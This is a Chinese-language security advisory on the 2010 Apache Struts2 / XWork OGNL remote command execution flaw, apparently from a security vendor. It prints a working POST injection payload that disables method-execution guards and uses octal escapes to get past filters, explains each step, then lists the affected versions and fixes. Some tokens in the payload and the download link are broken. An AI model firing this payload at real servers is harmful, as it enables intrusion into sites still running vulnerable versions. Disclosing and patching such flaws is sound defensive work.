近日,安恒信息安全小组发现Apache Struts2导致大量使用此框架的网站沦陷,Apache Struts2 框架是在2010年7月14日被发现存在一个严重命令执行漏洞,但随之出现了防范技术,最近随着struts2带回显功能的POC被公布,出现大量的利用工具,并导致大量使用此框架的网站沦陷,并呈扩散趋势。 我们先来了解一下Apache Struts2,Struts2是在struts 和WebWork的技术基础上进行了合并后的全新框架。其全新的Struts 2的体系结构与Struts 1的体系结构的差别巨大。李云海 土豆(6336112); Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与Servlet API完全脱离开,所以Struts 2可以理解为WebWork的更新产品. 2010年期间Struts2爆发了一远程命令执行漏洞,曾经各种版本的漏洞利用工具让CNVD郁闷不已. 一.漏洞细节 以POST的方式提交绕过对输入参数的部分过滤。 ('\43_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\43context[\'xwork.MethodAccessor.den yMethodExecution\']\75false')(d))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EM PTY_SET')(c))&(asdf)(('\43rp\75@org.apache.struts2.ServletActionContext@getResponse()')(c))&(fgd)(('\43rp.ge tWriter().print("dbappsecurity")')(d)) (grgr)(('\43rp.getWriter().close()')(d))=1 \75 (=的8进制)\40(空格的8进制)ongl语句中执行的参数不允许出现空格。当然包括其他老版本的正则 是^#=:都不允许,通杀的话是用\40来替代。 这样上面就是 1.设置上下文denyMethodExecution=false 运行方法执行 2.excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量) 设置外部拦截器为空 3.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据 4.myout.getWriter().println("dbappsecurity") ;把response的数据打印到屏幕上。 二.Struts2漏洞目前受到影响的系统包括: 1.OpenSymphony XWork < 2.2.0 2.Apache Group Struts < 2.2.0 三.Struts2漏洞修复方案: 1.下载最新的版本2.3.4:http://struts./download.cgi#struts234 2.或者修改对应jar中的ongl处理逻辑,然后编译打包替换旧的文件。 3.可使用安恒信息扫描器检测漏洞,运用安恒信息waf防护漏洞,安全点就只保留字母数字,其它的全部删除即可。 |
|